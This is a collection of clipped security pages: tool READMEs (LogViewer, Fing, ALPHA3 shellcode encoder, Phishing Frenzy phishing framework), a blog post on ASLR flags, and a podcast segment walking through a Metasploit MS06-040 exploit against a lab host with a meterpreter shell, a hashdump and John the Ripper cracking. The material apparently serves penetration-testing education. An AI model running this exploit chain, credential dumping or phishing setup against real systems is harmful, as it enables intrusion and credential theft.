  * AFLSmart \- It makes AFL input-structure aware by taking in high-level structural representation of seed files. This avoids random bit-flip mutations as in AFL, thereby rendering coverage based greybox fuzzing to be highly effective in testing applications processing structured file formats such as PDF, PNG WAV and so on.
  * syzkaller \- kernel fuzzer.
  * QuickCheck: QuickCheck: Automatic testing of Haskell programs. Clones for other languages are available too. Essentially, a generation-based fuzzer.
  * JQF: Combines QuickCheck-like generators with coverage-guided fuzzing for Java. One can write a _generator_ function, which simply returns a random object of some type \(e.g. an AST\). JQF automatically biases the generator using code coverage feedback. The tool has found new bugs in software such as the Google Closure Compiler.

  

# x86-intrin-cheatsheet-v2.1.pdf

**Created:**| _1/10/2015 3:45:12 PM_  
---|---  
**Updated:**| _1/10/2015 3:45:12 PM_  
**Author:**| __  
**Tags:**| __  
  
<img src='img/x86-intrin-cheatsheet-v2.1.pdf' />

# woanware/LogViewer

**Created:**| _5/10/2019 8:08:45 AM_  
---|---  
**Updated:**| _5/10/2019 8:08:45 AM_  
**Author:**| __  
**Tags:**| _security tools log-management_  
  

  

# <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='57'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='791' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>LogViewer

LogViewer is designed to work with any large text files, so that even very
large files can be opened, viewed and searched.

It's original use case is for DFIR cases that involve log analysis. Whilst I
use grep \(well actually I use sift to extract data from logs, it is handy to
be able to view log files, search for terms, hide lines whilst you get an idea
what the log file contains, what actions are being performed.

I normally use a combination of various text editors, glogg, and the Mandiant
Highlighter tool. The Mandiant Highlighter tool is great but hasn't been
updated since 2011. It has lots of functionality, most of which I don't use. I
wanted to implement my own log viewer and looked at the source code for
Highlighter and realised it uses a custom owner drawn textbox, which is how it
can work on large files.

So that is how LogViewer was born, by design it is simpler, it doesn't have
field operations, it doesn't have the line view etc.

The use of the custom control would make debugging any future issues a lot
harder, so after a bit of thought I used the ObjectListView library. The
ObjectListView library is a custom list view control for use with .Net
projects, I have used it extensively as it is easy to use and works with large
data sets.

The core operation of LogViewer works in the same way as Highlighter e.g.
parse the file, find the line offsets and line lengths, then when a line is
needed for display, an existing file stream is used to seek to the offset, and
then read X bytes.

I tested the v0.0.1 release of LogViewer against v1.1.3 of Mandiant
Highlighter. My test log file was 1.2 GB and had 4.4 million rows. The
following shows the operation and duration of the operation to compare:

  * Load \(LogViewer\): 15s
  * Load \(Highlighter\): 42s
  * Search \(LogViewer\): 1m 5s
  * Search \(Highlighter\): 2m 15s
  * Show Only Highlighted \(LogViewer\): 2s \(+ the search operation above 1m 5s\) Total: 1m 7s
  * Show Only Highlighted \(Highlighter\): Killed after 35m

The main reasons for this being faster is that it has removed some
functionality and I have optimised the file load code so that there is less
memory allocation and unnecessary checks/logic, plus Highlighter does some Md5
calcs etc.

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='58'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='808' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Features

  * Very fast
  * Supports huge files
  * Cumulative search
  * Can disable/enable search terms that are cumulative and the results are displayed instantly
  * Export current view
  * Show/Hide matched lines
  * Four search modes \(Sub String Case Insensitive, Sub String Case Sensitive, Regex Case Insensitive, Regex Case Sensitive\)

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='59'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='818' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>General

  * To stop an action such as load, search, export, you double click on the progress bar, located in the status bar
  * The context menu holds the majority of actions
  * Lots of stuff to be fixed/added\! :-\)

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='60'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='824' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e'
/>Screenshot

<img src='img/14165_screenshot.png' width='882' height='555' />

## <img src='data:image/svg+xml,%3csvg xmlns='http://www.w3.org/2000/svg'
class='octicon octicon-link js-evernote-checked' viewBox='0 0 16 16'
version='1.1' width='16' height='16' aria-hidden='true' data-evernote-
id='61'%3e%3cpath fill-rule='evenodd' d='M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3
4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10
5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2
2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2
1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z' data-
evernote-id='827' class='js-evernote-checked'%3e%3c/path%3e%3c/svg%3e' />Third
Party

ObjectListView: Used for displaying the file lines

Nett: Used for the TOML configuration file reading/writing

icons8: Icons used within the application

# Configure the Service Discovery

**Created:**| _9/27/2013 10:05:26 AM_  
---|---  
**Updated:**| _9/27/2013 10:05:26 AM_  
**Author:**| __  
**Tags:**| _network-security scan-monkey port_  
  

# Configure the Service Discovery****

Posted in Fing Documentation **.**

The service discovery feature, also known as service scan, quickly detects
active TCP services on a target host or network**.** Service discovery also
gives its best with ethernet-based networks, where TCP SYN scan technique can
be applied to audit active services on any host in a few seconds**.**

You can scan a local or remote host but also entire networks**.**

[code]

    **fing -s 192**.** 168.1.1** or **fing -s www.lookatlan.com** or **fing -s www.overlooksoft.com/24**
[/code]

By default discovered services are reported on console as a plain text output,
but you can choose between different output formats: like text, CSV, XML and
HTML**.** So it is actually possible not only to use it as a command line
administrative tool, but also integrated with your 3rd party applications**.**

[code]

    **fing -s host -o html,report.html** or **fing -s host -o xml,scan.xml**
[/code]

****

# Episode106 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 12:44:12 PM_  
---|---  
**Updated:**| _8/5/2009 12:44:31 PM_  
**Author:**| __  
**Tags:**| _security tools Exploit pauldotcom Tutorials_  
  

# Tech Segment: Bob Writes In...

Hey guys, Just thought I would send you an email and say thanks for all of
your great podcats. I recently found them and decided that I would start from
the beginning and go all the way up to the most recent. Right now I am in
February of 2007. It has taken about a week to get that far. I thought that I
would give a story about my friend and your's ,"Bob". Who went to his bank to
draw some money out of his ATM to buy a pizza. He found a new edition to the
walk up ATM area, a PC. Well Bob as you know being the curious type, decided
to see what the computer was for and what he could do with it. Well he quickly
realized that it was a windows 2000 box that generally was locked down via
group policy and was ment to show just one web page displayed. This page was
for requesting a loan or looking at the other services that the bank had to
offer. After looking around for a little while bob noticed that one hot key
was left open, the search hot key to do a search, not only search but where
did "Bob" want to search. Bob thought lets see if we have internet access.
Guess what, it did. After surfing for a minute or two, he decided he needed to
walk away for a moment or two he needed to walk away and buy his pizza. While
waiting on his pizza, he began to realise that this was his bank and that this
open PC was behind the banks firewall. "Bob" decided that it was time to do a
kamikazee attack, he knew the chances where very high of being caught, in fact
he counted on it. So "Bob" goes back and opens a few webpages that show have
firewall scanners, grc.com \(you can leave that out, this was when we still
respected...well, you know who\). Show all the open things that he can and
thinks to himself, someone will just come in the morning and think somehow
someone went the wrong web pages. So "Bob" decides to make a real obvious
point, he goes to a porn page and download a movie of....well you get the
idea. Then places the movie on full screen, repeat, and at full volume.
Needless to say that "Bob" had a call from the bank president the next day and
had a not so friendly, in depth discusion about security and his bank and that
they could use "Bob's" help. This unfortunately did not work. Needless to say
the Bank President said do not do it again, "Bob" said that they need to
resolve their issues and that this was his bank.

Crooks Rig ATM with EEPC \- \[PaulDotCom\] - This is so awesome for so many
reasons. First, as computers become more "embedded", we're going to see more
of these attacks used to bypass systems and collect information. We're already
seeing ATMs and swipe cards get abused in this way \( in fact for some time
people have been embedded their own readers in ATM machines\). Now, as
technology gets smalls, you will see it used all over, and in new and
interesting ways. Also, I love this  _Then they always proceeded to disable
the rest of the machines, so clients were forced to use the rigged ATM_ Nice
touch, they actually got caught because they reported a car accident. Hrm,
criminal caught on tape, criminal standing in police station, as Larry would
say, "CONVENIENT\!"

# Tech Segment: Probe, Exploit, and Crack for Free

On my Linux box \(could be OS X, but I got errors when I ran nessuscmd under
OS X, Ron will be emailing me as soon as he listens to the show :\) I run the
nessuscmd, tell it to OS fingerprint with -O, Print out a full report with -V,
use plugin-id 22194 \(MS06-040\), scan for TCP ports 139 and 445 with -sS
139,445, disable safe checking with -U, and to test host 192.168.10.139.

[code]

    root@linux-box:~# /opt/nessus/bin/nessuscmd -O -V -i 22194 -v -sS -p139,445 -U 192.168.10.139
    
[/code]

It reports:

[code]

    Host 192.168.10.139 is up
    Discovered open port netbios-ssn (139/tcp) on 192.168.10.139
    Discovered open port microsoft-ds (445/tcp) on 192.168.10.139
    [i] Plugin 11936 reported a result on port general/tcp of 192.168.10.139
    [!] Plugin 22194 reported a result on port microsoft-ds (445/tcp) of 192.168.10.139
    + Results found on 192.168.10.139 :
       - Host information : 
         [i] Plugin ID 11936
          | Remote operating system : Microsoft Windows XP
          | Microsoft Windows XP Service Pack 1
          | Confidence Level : 99
          | Method : MSRPC
          | 
          | 
          |  
          | The remote host is running one of these operating systems : 
          | Microsoft Windows XP
          | Microsoft Windows XP Service Pack 1
    
       - Port netbios-ssn (139/tcp) is open
       - Port microsoft-ds (445/tcp) is open
         [!] Plugin ID 22194
          | 
          | Synopsis :
          | 
          | 
          | Arbitrary code can be executed on the remote host due to a flaw
          | in the 
          | 'server' service.
          | 
          | Description :
          | 
          | 
          | The remote host is vulnerable to a buffer overrun in the 'Server'
          | service
          | which may allow an attacker to execute arbitrary code on the remote
          | host
          | with the 'System' privileges.
          | 
          | Solution : 
          | 
          | 
          | Microsoft has released a set of patches for Windows 2000, XP and
          | 2003 :
          | 
          | 
          | http://www.microsoft.com/technet/security/bulletin/ms06-040.mspx
          | 
          | 
          | 
          | Risk factor : 
          | 
          | 
          | Critical / CVSS Base Score : 10.0
          | (CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)
          | CVE : CVE-2006-3439
          | BID : 19409
    
[/code]

Sweet, I love vulnerabilities\! They are sexy and exciting, especially
MS006\_040, because its just so delicious and begging to be devoured my
metasploit. I have metasploit 3.1 installed in OS X:

[code]

    /framework-3.1/trunk gordon$ ./msfconsole 
    
                     o                       8         o   o
                     8                       8             8
    ooYoYo. .oPYo.  o8P .oPYo. .oPYo. .oPYo. 8 .oPYo. o8  o8P
    8' 8  8 8oooo8   8  .oooo8 Yb..   8    8 8 8    8  8   8
    8  8  8 8.       8  8    8   'Yb. 8    8 8 8    8  8   8
    8  8  8 `Yooo'   8  `YooP8 `YooP' 8YooP' 8 `YooP'  8   8
    ..:..:..:.....:::..::.....::.....:8.....:..:.....::..::..:
    ::::::::::::::::::::::::::::::::::8:::::::::::::::::::::::
    ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
    
    
           =[ msf v3.2-release
    + -- --=[ 286 exploits - 124 payloads
    + -- --=[ 17 encoders - 6 nops
           =[ 62 aux
    
[/code]

I want to tell metasploit to use the following module:

[code]

    msf > use windows/smb/ms06_040_netapi
    
[/code]

I want to set my payload to a standard meterpreter bind shell, which will let
me inject into processes dynamically:

[code]

    msf exploit(ms06_040_netapi) > set PAYLOAD windows/meterpreter/bind_tcp 
    PAYLOAD => windows/meterpreter/bind_tcp
    
[/code]

I then tell metasploit what to target:

[code]

    msf exploit(ms06_040_netapi) > set RHOST 192.168.10.139
    
[/code]

Here are what my options look like:

[code]

    msf exploit(ms06_040_netapi) > show options
    
    Module options:
    
       Name     Current Setting  Required  Description                             
       ----     ---------------  --------  -----------                             
       RHOST    192.168.10.139   yes       The target address                      
       RPORT    445              yes       Set the SMB service port                
       SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)  
    
    
    Payload options:
    
       Name      Current Setting                                                Required  Description                           
       ----      ---------------                                                --------  -----------                           
       DLL       /Users/gordon/framework-3.1/trunk/data/meterpreter/metsrv.dll  yes       The local path to the DLL to upload   
       EXITFUNC  thread                                                         yes       Exit technique: seh, thread, process  
       LPORT     4444                                                           yes       The local port                        
    
    
    Exploit target:
    
       Id  Name                                                   
       --  ----                                                   
       0   (wcscpy) Automatic (NT 4.0, 2000 SP0-SP4, XP SP0-SP1)
    
[/code]

Now I tell metasploit to execute my exploit with the above options:

[code]

    msf exploit(ms06_040_netapi) > exploit
    
    [*] Started bind handler
    [*] Detected a Windows XP SP0/SP1 target
    [*] Binding to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.10.139[\BROWSER] ...
    [*] Bound to 4b324fc8-1670-01d3-1278-5a47bf6ee188:3.0@ncacn_np:192.168.10.139[\BROWSER] ...
    [*] Building the stub data...
    [*] Calling the vulnerable function...
    [*] Transmitting intermediate stager for over-sized stage...(89 bytes)
    [*] Sending stage (2834 bytes)
    [*] Sleeping before handling stage...
    [*] Uploading DLL (81931 bytes)...
    [*] Upload completed.
    [*] Meterpreter session 1 opened (192.168.10.50:52375 -> 192.168.10.139:4444)
    
[/code]

To access session 1 I use the following command:

[code]

    msf exploit(ms06_040_netapi) > sessions -i 1
    
[/code]

I then tell meterpreter to load the Sam Juicer module:

[code]

    meterpreter > use -m Sam
    
[/code]

Then I issue the "hashdump" command:

[code]

    meterpreter > hashdump
    Administrator:500:EDIT:EDIT:::
    Guest:501:EDIT:EDIT:::
    HelpAssistant:1000:EDIT:EDIT:::
    Noone:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c7cc675cf5fe2416208ed85f06dc6a63:::
    TeamTed:1004:614433f3c97d4a70aad3b435b51404ee:e5128e6a0a230f4c0234591b3f7721dd:::
    
[/code]

So then I copy and paste those results into my other directory with John The
Ripper Installed:

[code]

    paimei:~/downloads/john-1.7.0.2/run gordon$ cat > hashes.txt
    Administrator:500:EDIT:EDIT:::
    Guest:501:EDIT:EDIT:::
    HelpAssistant:1000:EDIT:EDIT:::
    Noone:1003:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c7cc675cf5fe2416208ed85f06dc6a63:::
    TeamTed:1004:614433f3c97d4a70aad3b435b51404ee:e5128e6a0a230f4c0234591b3f7721dd:::
    
[/code]

Then I crack the passwords using the stock dictionary that comes with John:

[code]

    paimei:~/downloads/john-1.7.0.2/run gordon$ ./john hashes.txt
    Loaded 9 password hashes with no different salts (NT LM DES [64/64 BS MMX])
    TEAMTED          (TeamTed)
                     (SUPPORT_388945a0)
                     (Noone)
                     (Guest)
    COM              (Administrator:2)
    guesses: 5  time: 0:00:00:02 (3)  c/s: 11060K  trying: TOUSCEL - TOUSMIR
    Session aborted
    
[/code]

W00t\! Now I have remote SYSTEM access to the target, and a username and
password to try on other systems in less than 5 minutes. Sweet\! I also have
something that can be easily scripted and automated for testing my internal
network, verifying vulnerabilities, all for free\!

  

# Marco Ramilli's Blog: Windows Loader and ASLR on Binaries

**Created:**| _1/31/2012 7:37:59 PM_  
---|---  
**Updated:**| _1/31/2012 7:38:11 PM_  
**Author:**| __  
**Tags:**| _aslr windows environment boot-process_  
  

## Windows Loader and ASLR on Binaries

Jan

30

Hi Folks, this morning I'd like to share a nice resource for analyzing ASLR on
Windows Binaries. So far if you'd like to know if a given binary is currently
using ASLR or not, you need to run it. You could run it through your favorite
debugger \(such as IDA or Olly ...\) or by itself and later append to the run
process an analyzer. But, obviously windows loader needs to know it before
running the desired binary. So how does it work ? How does the loader know
about ASLR on a given binary ? If you are an avid reader of this blog you
might had a chance to know answers to these questions \( here \). So what new
about that ? I've never found a static tool for that.

  

Summing up for newer readers, Widows Loader looks for a specific FLAG into the
PE Header. In the PEHeader, specifically in the IMAGE\_OPTIONAL\_HEADER
section there is a flag called **DLLCharacteristics** that defines many
features for the executable during its loading time, 1 of them being ASLR. If
you take a closer look at the definition \(you can find definition here\) you
might see the definition for DEP \(NX bit\) and for SEH too.

  

  

<img src='img/Temp2_5220.png' width='393' height='400' />

Definition for IMAGE\_OPTIONAL\_HEADER, PEHEader section defining optional
binaries features.

  

Myne-us wrote a simple ruby script which investigates through given binaries
helping you in figuring out what "optional features" have been enabled on the
passed binary. You can download the script here. The script firstly loads the
binary making the opportune controls over the PE format and later moves on the
known offset checking bytes and filling on a main internal structure

  

<img src='img/Temp2_5221.png' width='400' height='188' />

Checking and moving to desired offset

  

  

  

<img src='img/Temp2_5222.png' width='400' height='322' />

Internal Structure

  

Personally I do like this simple script, it has been written in modular and
very easy way. Pretty quick to upgrade with new features. I really would like
to see a more complete static analysis from it, lets see if it will be
uploaded \! ;\) In the meantime it could be very useful to make static
analysis over multiple files. Let assume you want to know how many binaries
have ASLR or DEP enabled on your system, with current tools you need to open
every binary dynamically and perform dinamic analysis. It would take forever.
By using this simple script you might just cycle over every PEHeader and save
output on a .text file ready to be analyzed from your favorite spreadsheet.
Good Job \!

# alpha3 - Project Hosting on Google Code

**Created:**| _1/10/2010 3:27:19 PM_  
---|---  
**Updated:**| _1/10/2010 3:27:30 PM_  
**Author:**| __  
**Tags:**| _shellcode Exploit python_  
  

[code]

    #_______________________________________________________________________________________________________________________  
    #                                                                                                                         
    #                     ,sSSs,,s,  ,sSSSs,   : ALPHA3 - Alphanumeric shellcode encoder.                                     
    #                    dS"  Y$P"  YS"  ,SY   :                                                                              
    #                   iS'   dY       ssS"    : Copyright (C) 2003-2010 by SkyLined.                                         
    #                   YS,  dSb   SP,  ;SP    : <berendjanwever@gmail.com>                                                   
    #                   `"YSS'"S'  "YSSSY"     : http://skypher.com/wiki/index.php/ALPHA3                                     
    #_______________________________________________________________________________________________________________________  
    #                                                                                                                       
[/code]

ALPHA3 is a tool for transforming any x86 machine code into 100% alphanumeric
code with similar functionality. It works by encoding the original code into
alphanumeric data and combining this data with a decoder, which is a piece of
x86 machine code written specifically to be 100% alphanumeric. When run, the
decoder converts the data back to the original code, after which it is
executed.

ALPHA3 is an updated and expanded version of ALPHA2. The improvements over
ALPHA2 include new encodings \(x86 lowercase ascii and x64 mixedcase ascii\)
and smaller decoders for various other encodings.

For more information, have a look at this wiki page.

ALPHA3 uses SkyBuild to generate shellcodes from source.

ALPHA3 uses Testival to test encoders.

[code]

    [Usage]  
      ALPHA3.py  [ encoder settings | I/O settings | flags ]  
      
    [Encoder setting]  
      architecture              Which processor architecture to target (x86,  
                                x64).  
      character encoding        Which character encoding to use (ascii, cp437,  
                                latin-1, utf-16).  
      casing                    Which character casing to use (uppercase,  
                                mixedcase, lowercase).  
      base address              How to determine the base address in the decoder  
                                code (each encoder has its own set of valid  
                                values).  
      
    [I/O Setting]  
      --input="file"            Path to a file that contains the shellcode to be  
                                encoded (Optional, default is to read input from  
                                stdin).  
      --output="file"           Path to a file that will receive the encoded  
                                shellcode (Optional, default is to write output  
                                to stdout).  
      
    [Flags]  
      --verbose                 Display verbose information while executing. Use  
                                this flag twice to output progress during  
                                encoding.  
      --help                    Display this message and quit.  
      --test                    Run all available tests for all encoders.  
                                (Useful while developing/testing new encoders).  
      --int3                    Trigger a breakpoint before executing the result  
                                of a test. (Use in combination with --test).  
      
    [Notes]  
      You can provide encoder settings in combination with the --help and --test  
      switches to filter which encoders you get help information for and which  
      get tested, respectively.  
      
    Valid base address examples for each encoder, ordered by encoder settings,  
    are:  
      
    [x64 ascii mixedcase]  
      AscMix (r64)              RAX RCX RDX RBX RSP RBP RSI RDI  
      
    [x86 ascii lowercase]  
      AscLow 0x30 (rm32)        ECX EDX EBX  
      
    [x86 ascii mixedcase]  
      AscMix 0x30 (rm32)        EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]  
                                [EDX] [EBX] [ESP] [EBP] [ESI] [EDI] [ESP-4]  
                                ECX+2 ESI+4 ESI+8  
      AscMix 0x30 (i32)         (address)  
      AscMix Countslide (rm32)  countslide:EAX+offset~uncertainty  
                                countslide:EBX+offset~uncertainty  
                                countslide:ECX+offset~uncertainty  
                                countslide:EDX+offset~uncertainty  
                                countslide:ESI+offset~uncertainty  
                                countslide:EDI+offset~uncertainty  
      AscMix Countslide (i32)   countslide:address~uncertainty  
      AscMix SEH GetPC (XPsp3)  seh_getpc_xpsp3  
      
    [x86 ascii uppercase]  
      AscUpp 0x30 (rm32)        EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]  
                                [EDX] [EBX] [ESP] [EBP] [ESI] [EDI]  
      
    [x86 latin-1 mixedcase]  
      Latin1Mix CALL GetPC      call  
      
    [x86 utf-16 uppercase]  
      UniUpper 0x10 (rm32)      EAX ECX EDX EBX ESP EBP ESI EDI [EAX] [ECX]  
                                [EDX] [EBX] [ESP] [EBP] [ESI] [EDI]
[/code]

# pentestgeek/phishing-frenzy · GitHub

**Created:**| _6/26/2014 12:45:29 PM_  
---|---  
**Updated:**| _6/26/2014 12:45:29 PM_  
**Author:**| __  
**Tags:**| _socialising_  
  

# Phishing Frenzy

Ruby on Rails Phishing Framework

<img src='img/Temp2_10548.png' alt='PhishingFrenzy' />

##  Install

These instructions are to install Phishing Frenzy on a Debian based OS with a
MySQL database used as a backend. Different steps will need to be taken if you
are running on a different OS or planning on using a different database
server.

Install instructions will be temporary until a formal deployment service is
configured to deploy Phishing Frenzy seamlessly.

###  Apache Configuration

Install LAMP server software of not already installed

[code]

    # tasksel install lamp-server
    
[/code]

Clone the Phishing Frenzy repository to your system

[code]

    # git clone https://github.com/pentestgeek/phishing-frenzy.git /var/www/phishing-frenzy
    
[/code]

Make sure Phishing Frenzy is in the Apache webroot of your webserver wherever
that may be located \(/var/www/\*\).

This next part of the install will focus on how to use Apache with
mod\_passenger to always serve up the Phishing Frenzy web application.

Configure Apache to always run Phishing Frenzy by adding the following line to
the apache configuration file \(/etc/apache2/apache2.conf\).

[code]

    Include pf.conf
    
[/code]

Also you will need to add the following line which is used to manage the
virtual hosts.

[code]

    Include httpd.conf
    
[/code]

This addition to inclue pf.conf tells Apache to look at this file within the
Apache directory \(/etc/apache2/pf.conf\) and serve up whatever website is
configured.

Now that Apache is configured to process the pf.conf configuration file
everytime Apache reloads or restarts we need to create the file and add the
following content to pf.conf. 'ServerName' should be changed to whichever
domain name that Phishing Frenzy is running under. This tells Apache which
website to serve up when a request for phishingfrenzy.com is made.

[code]

    <IfModule mod_passenger.c>
        PassengerRoot %ROOT
        PassengerRuby %RUBY
    </IfModule>
    
    <VirtualHost *:80>
        ServerName phishingfrenzy.com
        # !!! Be sure to point DocumentRoot to 'public'!
        DocumentRoot /var/www/phishing-frenzy/public
        RailsEnv development
        <Directory /var/www/phishing-frenzy/public>
            # This relaxes Apache security settings.
            AllowOverride all
            # MultiViews must be turned off.
            Options -MultiViews
        </Directory>
    </VirtualHost>
    
[/code]

###  Install Ruby on Rails

We are going to use RVM to install ruby and ruby on rails. For additional
details on how to install RVM please see: https://rvm.io/rvm/install

Install RVM and Ruby

[code]

    curl -L https://get.rvm.io | bash -s stable --ruby
    
[/code]

Pay attention to the install notes here, you may be required to run a command
similar to the following in order to get rvm working properly. You may also be
asked to logout / login or open a new shell before rvm is functioning
properly.

[code]

    $ source /usr/local/rvm/scripts/rvm
    
[/code]

Install Ruby on Rails. We can use rvmsudo with rvm to get the job done.

[code]

    $ rvmsudo rvm all do gem install rails
    
[/code]

Install mod\_passenger for Apache

[code]

    $ rvmsudo rvm all do gem install passenger
    
[/code]

Invoke passenger install script

[code]

    $ passenger-install-apache2-module
    
[/code]

If you do not have the required software to install passenger, the script will
let you know which additional software needs to be install. In my case I had
to install the following software on my fresh install of Ubuntu.

[code]

    $ sudo apt-get install libcurl4-openssl-dev apache2-threaded-dev libapr1-dev libaprutil1-dev
    
[/code]

If you were required to install additional software, you will need to invoke
the passenger-install-apache2-module once again to continue.

Also in my case the passenger install module did not have the proper
permissions to install so I ran the following which was given to me by the
install script.

[code]

    $ rvmsudo -E /usr/local/rvm/wrappers/ruby-2.0.0-p247/ruby /usr/local/rvm/gems/ruby-2.0.0-p247/gems/passenger-4.0.20/bin/passenger-install-apache2-module
    
[/code]

Pay attention to the end of the script because it will ask you to copy a few
lines into your Apache configuration file, these are what the lines looked
like in my case

[code]

    LoadModule passenger_module /usr/local/rvm/gems/ruby-2.0.0-p247/gems/passenger-4.0.20/buildout/apache2/mod_passenger.so
    PassengerRoot /usr/local/rvm/gems/ruby-2.0.0-p247/gems/passenger-4.0.20
    PassengerDefaultRuby /usr/local/rvm/wrappers/ruby-2.0.0-p247/ruby
    
[/code]

Install all the gems for the Ruby on Rails application:

[code]

    $ rvmsudo gem install bundler
    $ cd /var/www/phishing-frenzy
    $ rvmsudo bundle install
    
[/code]

###  MySQL Configuration

Create Rails Database for Phishing Frenzy:

[code]

    mysql> create database pf_dev;
    mysql> grant all privileges on pf_dev.* to 'pf_dev'@'localhost' identified by 'password';
    
[/code]

###  Ruby on Rails Configuration

Make sure app/config/database.yml file is properly configured or the rake
tasks will fail. The database.yml file will tell your rails application how to
properly authenticate to database server and access the database. If either of
the rake tasks fail, it will render Phishing Frenzy worthless, so ensure the
rake tasks are completed successfully before continuing on.

Ensure that you are in the root of the rails application before running any
rake commands. rake commands will most certainly fail to run because of the
required approot/Rakefile required.

Before you chmod these files, you may be required to create the log directory
or even the development.log file if the rails application has never been
started.

[code]

    $ sudo chmod 0666 /var/www/phishing-frenzy/log/development.log
    $ sudo chmod 0666 /var/www/phishing-frenzy/db/schema.rb
    
[/code]

Create Database schema using Rails Migrations:

[code]

    $ rake db:migrate
    
[/code]

Poppulate database with content using Rails Seeds helper:

[code]

    $ rake db:seed
    
[/code]

Change ownership of apache config to allow Phishing Fenzy manage virtual
hosts. If you currently have entries within the httpd.conf file, backup the
file now because Phishing Frenzy will delete all entries in this file when
managing virtual hosts for phishing campaigns.

[code]

    # chown www-data:www-data /etc/apache2/httpd.conf
    
[/code]

If you are running Kali linux or a distro that does not have the httpd.conf
file you will need to create one so Phishing Frenzy can manage the virtual
hosts.

If you would like to install the 2 default templates \(efax and intel password
checker\) you can do so by simply running the following rake task.

[code]

    # rake templates:load
    
[/code]

###  Background Jobs

Phishing Frenzy uses Sidekiq to send emails in the background. Sidekiq depends
on Redis to manage the job queue. At this time, Phishing Frenzy does not use
asynchronous processing by default so you do not need to install Redis and
Sidekiq. The feature can be enabled from the Global Settings view in the Admin
section.

In order to allow for Sidekiq process monitoring, you must start Sidekiq with
a configuration that places the Sidekiq pid in /tmp/pids/sidekiq.pid

[code]

    bundle exec sidekiq -C config/sidekiq.yml
    
[/code]

###  Linux Configuration

Change ownership and permissions of the web application to the same account
Apache is running as. In most cases this will be the 'www-data' account.

[code]

    # chown -R www-data:www-data phishing-frenzy/
